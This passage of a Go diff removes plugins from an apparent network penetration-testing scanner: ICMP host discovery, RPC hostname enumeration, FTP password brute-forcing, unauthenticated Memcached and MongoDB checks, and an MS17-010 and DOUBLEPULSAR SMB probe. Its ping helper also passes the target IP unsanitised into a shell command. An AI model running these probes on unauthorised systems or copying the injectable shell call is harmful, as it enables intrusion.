h.PaddingLength = uint8(-contentLength & 7)
|
||||
}
|
||||
|
||||
type record struct {
|
||||
h header
|
||||
buf [maxWrite + maxPad]byte
|
||||
}
|
||||
|
||||
func (rec *record) read(r io.Reader) (err error) {
|
||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if rec.h.Version != 1 {
|
||||
return errors.New("fcgi: invalid header version")
|
||||
}
|
||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *record) content() []byte {
|
||||
return r.buf[:r.h.ContentLength]
|
||||
}
|
||||
|
||||
type FCGIClient struct {
|
||||
mutex sync.Mutex
|
||||
rwc io.ReadWriteCloser
|
||||
h header
|
||||
buf bytes.Buffer
|
||||
keepAlive bool
|
||||
}
|
||||
|
||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
fcgi = &FCGIClient{
|
||||
rwc: conn,
|
||||
keepAlive: false,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
||||
this.mutex.Lock()
|
||||
defer this.mutex.Unlock()
|
||||
this.buf.Reset()
|
||||
this.h.init(recType, reqId, len(content))
|
||||
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(content); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = this.rwc.Write(this.buf.Bytes())
|
||||
return err
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
||||
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
||||
b := make([]byte, 8)
|
||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
||||
b[4] = protocolStatus
|
||||
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
||||
w := newWriter(this, recType, reqId)
|
||||
b := make([]byte, 8)
|
||||
for k, v := range pairs {
|
||||
n := encodeSize(b, uint32(len(k)))
|
||||
n += encodeSize(b[n:], uint32(len(v)))
|
||||
if _, err := w.Write(b[:n]); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(k); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := w.WriteString(v); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
w.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func readSize(s []byte) (uint32, int) {
|
||||
if len(s) == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
size, n := uint32(s[0]), 1
|
||||
if size&(1<<7) != 0 {
|
||||
if len(s) < 4 {
|
||||
return 0, 0
|
||||
}
|
||||
n = 4
|
||||
size = binary.BigEndian.Uint32(s)
|
||||
size &^= 1 << 31
|
||||
}
|
||||
return size, n
|
||||
}
|
||||
|
||||
func readString(s []byte, size uint32) string {
|
||||
if size > uint32(len(s)) {
|
||||
return ""
|
||||
}
|
||||
return string(s[:size])
|
||||
}
|
||||
|
||||
func encodeSize(b []byte, size uint32) int {
|
||||
if size > 127 {
|
||||
size |= 1 << 31
|
||||
binary.BigEndian.PutUint32(b, size)
|
||||
return 4
|
||||
}
|
||||
b[0] = byte(size)
|
||||
return 1
|
||||
}
|
||||
|
||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
||||
// Closed.
|
||||
type bufWriter struct {
|
||||
closer io.Closer
|
||||
*bufio.Writer
|
||||
}
|
||||
|
||||
func (w *bufWriter) Close() error {
|
||||
if err := w.Writer.Flush(); err != nil {
|
||||
w.closer.Close()
|
||||
return err
|
||||
}
|
||||
return w.closer.Close()
|
||||
}
|
||||
|
||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
||||
w := bufio.NewWriterSize(s, maxWrite)
|
||||
return &bufWriter{s, w}
|
||||
}
|
||||
|
||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
||||
// It only writes maxWrite bytes at a time.
|
||||
type streamWriter struct {
|
||||
c *FCGIClient
|
||||
recType uint8
|
||||
reqId uint16
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
nn := 0
|
||||
for len(p) > 0 {
|
||||
n := len(p)
|
||||
if n > maxWrite {
|
||||
n = maxWrite
|
||||
}
|
||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
||||
return nn, err
|
||||
}
|
||||
nn += n
|
||||
p = p[n:]
|
||||
}
|
||||
return nn, nil
|
||||
}
|
||||
|
||||
func (w *streamWriter) Close() error {
|
||||
// send empty record to close the stream
|
||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
||||
}
|
||||
|
||||
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
||||
|
||||
var reqId uint16 = 1
|
||||
defer this.rwc.Close()
|
||||
|
||||
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = this.writePairs(FCGI_PARAMS, reqId, env)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(reqStr) > 0 {
|
||||
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
rec := &record{}
|
||||
var err1 error
|
||||
|
||||
// recive untill EOF or FCGI_END_REQUEST
|
||||
for {
|
||||
err1 = rec.read(this.rwc)
|
||||
if err1 != nil {
|
||||
if err1 != io.EOF {
|
||||
err = err1
|
||||
}
|
||||
break
|
||||
}
|
||||
switch {
|
||||
case rec.h.Type == FCGI_STDOUT:
|
||||
retout = append(retout, rec.content()...)
|
||||
case rec.h.Type == FCGI_STDERR:
|
||||
reterr = append(reterr, rec.content()...)
|
||||
case rec.h.Type == FCGI_END_REQUEST:
|
||||
fallthrough
|
||||
default:
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *common.HostInfo) error {
|
||||
err := FindnetScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func FindnetScan(info *common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(bufferV1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 4096)
|
||||
_, err = conn.Read(reply)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(bufferV2)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||
return err
|
||||
}
|
||||
text := reply[42:]
|
||||
flag := true
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
flag = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if flag {
|
||||
return err
|
||||
}
|
||||
err = read(text, info.Host)
|
||||
return err
|
||||
}
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||
hostname := strings.Split(hostnames, "000000")
|
||||
result := "NetInfo:\n[*]" + host
|
||||
for i := 0; i < len(hostname); i++ {
|
||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||
host, err := hex.DecodeString(hostname[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result += "\n [->]" + string(host)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
@@ -1,76 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, user := range common.Userdict["ftp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := FtpConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = conn.Login(Username, Password)
|
||||
if err == nil {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
//defer conn.Logout()
|
||||
if err == nil {
|
||||
if len(dirs) > 0 {
|
||||
for i := 0; i < len(dirs); i++ {
|
||||
if len(dirs[i].Name) > 50 {
|
||||
result += "\n [->]" + dirs[i].Name[:50]
|
||||
} else {
|
||||
result += "\n [->]" + dirs[i].Name
|
||||
}
|
||||
if i == 5 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
-239
@@ -1,239 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/icmp"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
AliveHosts []string
|
||||
OS = runtime.GOOS
|
||||
ExistHosts = make(map[string]struct{})
|
||||
livewg sync.WaitGroup
|
||||
)
|
||||
|
||||
func ICMPRun(hostslist []string, Ping bool) []string {
|
||||
chanHosts := make(chan string, len(hostslist))
|
||||
go func() {
|
||||
for ip := range chanHosts {
|
||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
||||
ExistHosts[ip] = struct{}{}
|
||||
if common.Silent == false {
|
||||
if Ping == false {
|
||||
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
|
||||
} else {
|
||||
fmt.Printf("(ping) Target '%s' is alive\n", ip)
|
||||
}
|
||||
}
|
||||
AliveHosts = append(AliveHosts, ip)
|
||||
}
|
||||
livewg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
if Ping == true {
|
||||
//使用ping探测
|
||||
RunPing(hostslist, chanHosts)
|
||||
} else if conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0"); err == nil {
|
||||
//优先尝试监听本地icmp,批量探测
|
||||
RunIcmp1(hostslist, conn, chanHosts)
|
||||
} else if conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second); err == nil {
|
||||
conn.Close()
|
||||
//尝试无监听icmp探测
|
||||
RunIcmp2(hostslist, chanHosts)
|
||||
} else {
|
||||
//使用ping探测
|
||||
fmt.Println("The current user permissions unable to send icmp packets")
|
||||
fmt.Println("start ping")
|
||||
RunPing(hostslist, chanHosts)
|
||||
}
|
||||
|
||||
livewg.Wait()
|
||||
close(chanHosts)
|
||||
return AliveHosts
|
||||
}
|
||||
|
||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
||||
endflag := false
|
||||
go func() {
|
||||
for {
|
||||
if endflag == true {
|
||||
return
|
||||
}
|
||||
msg := make([]byte, 100)
|
||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
||||
if sourceIP != nil {
|
||||
livewg.Add(1)
|
||||
chanHosts <- sourceIP.String()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for _, host := range hostslist {
|
||||
dst, _ := net.ResolveIPAddr("ip", host)
|
||||
IcmpByte := makemsg(host)
|
||||
conn.WriteTo(IcmpByte, dst)
|
||||
}
|
||||
//根据hosts数量修改icmp监听时间
|
||||
start := time.Now()
|
||||
for {
|
||||
if len(AliveHosts) == len(hostslist) {
|
||||
break
|
||||
}
|
||||
since := time.Now().Sub(start)
|
||||
var wait time.Duration
|
||||
switch {
|
||||
case len(hostslist) <= 256:
|
||||
wait = time.Second * 3
|
||||
default:
|
||||
wait = time.Second * 6
|
||||
}
|
||||
if since > wait {
|
||||
break
|
||||
}
|
||||
}
|
||||
endflag = true
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
||||
num := 1000
|
||||
if len(hostslist) < num {
|
||||
num = len(hostslist)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, num)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if icmpalive(host) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
close(limiter)
|
||||
}
|
||||
|
||||
func icmpalive(host string) bool {
|
||||
startTime := time.Now()
|
||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer conn.Close()
|
||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
||||
return false
|
||||
}
|
||||
msg := makemsg(host)
|
||||
if _, err := conn.Write(msg); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
receive := make([]byte, 60)
|
||||
if _, err := conn.Read(receive); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func RunPing(hostslist []string, chanHosts chan string) {
|
||||
var bsenv = ""
|
||||
if OS != "windows" {
|
||||
bsenv = "/bin/bash"
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
limiter := make(chan struct{}, 50)
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
limiter <- struct{}{}
|
||||
go func(host string) {
|
||||
if ExecCommandPing(host, bsenv) {
|
||||
livewg.Add(1)
|
||||
chanHosts <- host
|
||||
}
|
||||
<-limiter
|
||||
wg.Done()
|
||||
}(host)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func ExecCommandPing(ip string, bsenv string) bool {
|
||||
var command *exec.Cmd
|
||||
if OS == "windows" {
|
||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if OS == "linux" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
} else if OS == "darwin" {
|
||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||
}
|
||||
outinfo := bytes.Buffer{}
|
||||
command.Stdout = &outinfo
|
||||
err := command.Start()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if err = command.Wait(); err != nil {
|
||||
return false
|
||||
} else {
|
||||
if strings.Contains(outinfo.String(), "true") {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func makemsg(host string) []byte {
|
||||
msg := make([]byte, 40)
|
||||
id0, id1 := genIdentifier(host)
|
||||
msg[0] = 8
|
||||
msg[1] = 0
|
||||
msg[2] = 0
|
||||
msg[3] = 0
|
||||
msg[4], msg[5] = id0, id1
|
||||
msg[6], msg[7] = genSequence(1)
|
||||
check := checkSum(msg[0:40])
|
||||
msg[2] = byte(check >> 8)
|
||||
msg[3] = byte(check & 255)
|
||||
return msg
|
||||
}
|
||||
|
||||
func checkSum(msg []byte) uint16 {
|
||||
sum := 0
|
||||
length := len(msg)
|
||||
for i := 0; i < length-1; i += 2 {
|
||||
sum += int(msg[i])*256 + int(msg[i+1])
|
||||
}
|
||||
if length%2 == 1 {
|
||||
sum += int(msg[length-1]) * 256
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xffff)
|
||||
sum = sum + (sum >> 16)
|
||||
answer := uint16(^sum)
|
||||
return answer
|
||||
}
|
||||
|
||||
func genSequence(v int16) (byte, byte) {
|
||||
ret1 := byte(v >> 8)
|
||||
ret2 := byte(v & 255)
|
||||
return ret1, ret2
|
||||
}
|
||||
|
||||
func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1]
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err == nil {
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
client.Close()
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongodbScan(info *common.HostInfo) error {
|
||||
_, err := MongodbUnauth(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
||||
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(senddata)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
buf := make([]byte, 1024)
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text, "ismaster") {
|
||||
_, err = conn.Write(getlogdata)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
text := string(buf[0:count])
|
||||
if strings.Contains(text, "totalLinesWritten") {
|
||||
flag = true
|
||||
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
|
||||
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
|
||||
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
|
||||
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(negotiateProtocolRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
// let alone half packet
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = conn.Write(sessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
||||
return Err
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
_, err = conn.Write(treeConnectRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(transNamedPipeRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(trans2SessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
} else {
|
||||
result := fmt.Sprintf("[*] %s (%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return err
|
||||
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
